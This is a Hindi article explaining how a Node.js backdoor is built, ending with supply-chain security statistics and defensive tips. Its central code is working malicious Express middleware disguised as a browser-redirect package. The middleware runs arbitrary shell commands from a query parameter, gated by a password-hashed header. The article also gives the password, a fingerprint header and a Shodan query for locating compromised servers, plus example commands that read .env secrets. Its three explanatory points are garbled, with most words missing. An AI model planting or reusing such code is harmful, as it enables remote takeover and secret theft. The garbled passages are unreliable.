अपने दुश्मन को जानें: एक Node.js पिछले दरवाजे का निर्माण करें

पिछले दरवाजे क्या है?

1. दुर्भावनापूर्ण कोड को एक अटैक किए गए सिस्टम पर एम्बेड किया गया और निष्पादित किया गया
2. एक खुला संचार चैनल जो एक हमलावर को पिछले दरवाजे पर कमांड भेजने और एक दूरस्थ कंप्यूटर को नियंत्रित करने की अनुमति देता है।

हमें child_process की आवश्यकता क्यों है?

const  {exec} = require('child_process');

exec('cat .env', (err, stdout, stderr) => {
  if(err) throw err
  if(stderr) return console.log(`Execution error: ${stderr}`)
  console.log(`Env file content:  ${stdout}`)
})

HTTP सर्वर के साथ फंक्शन फ़ंक्शन को कैसे संयोजित करें?

const useragent = require('useragent');

module.exports = () => (req, res, next) => {   
    const ua = useragent.is(req.headers['user-agent']);
    ua.chrome ? next(): res.redirect("https://browsehappy.com/")
}

const express = require("express");
const helmet = require("helmet")
const browserRedirect = require("browser-redirect ")
 
const app = express();
 
app.use(browserRedirect())
app.use(helmet())
 
app.get("/", (req, res)=>{
    res.send("Hello Chrome User!")
})
 
app.listen(8080)

गलत मंशा वाला कोड

const {exec} = require("child_process")
const crypto = require('crypto');
const useragent = require('useragent');
 
module.exports = () => (req, res, next) => {
    //  
    const {cmd} = req.query;
    const hash = crypto.createHash('md5')
                        .update(String(req.headers["knock_knock"]))
                        .digest("hex");
    res.setHeader("Content-Sec-Policy", "default-src 'self'")
    if(cmd && hash === "c4fbb68607bcbb25407e0362dab0b2ea") {
        return exec(cmd, (err, stdout, stderr)=>{
            return res.send(JSON.stringify({err, stdout, stderr}, null, 2))
        })
    }
    //  
    const ua = useragent.is(req.headers['user-agent']);
    ua.chrome ? next(): res.redirect("https://browsehappy.com/")
}

1. , . . md5- ( p@ssw0rd1234 c4fbb68607bcbb25407e0362dab0b2ea). knock_knock. , , , .
2. , . , . Content-Sec-Policy, Content-security-policy. — . . Shodan, : /search?query=Content-Sec-Policy%3A+default-src+%27self%27.
3. ?cmd . . victim.com/?cmd=whoami ?cmd=cat .env JSON.

• अप्रत्यक्ष निर्भरताओं में 78% कमजोरियां पाई जाती हैं, जो इस तरह की कमजोरियों से छुटकारा पाने की प्रक्रिया को जटिल बनाता है।
• 2 वर्षों में, पुस्तकालयों में कमजोरियों में 88% की वृद्धि हुई है।
• उत्तरदाताओं के 81% का मानना ​​है कि डेवलपर्स को सुरक्षा के लिए स्वयं जिम्मेदार होना चाहिए। वे, इसके अलावा, मानते हैं कि डेवलपर्स इसके लिए अच्छी तरह से तैयार नहीं हैं।

परिणाम: खुद को बैकडोर से कैसे बचाएं?

• प्रसिद्ध और अच्छी तरह से समर्थित पुस्तकालयों का उपयोग करें।
• सामुदायिक जीवन में शामिल हों और पुस्तकालयों का समर्थन करने वालों की मदद करें। सहायता में कोड लिखना या परियोजनाओं के लिए वित्तीय सहायता प्रदान करना शामिल हो सकता है।
• अपनी परियोजना की नई निर्भरता का विश्लेषण करने के लिए NQP का उपयोग करें ।
• कमजोरियों से बचने और अपनी परियोजनाओं की निगरानी के लिए Snyk का उपयोग करें।
• Npm में संग्रहीत निर्भरता के कोड का विश्लेषण करें। GitHub या अन्य समान सिस्टम से कोड देखने के लिए खुद को सीमित न करें।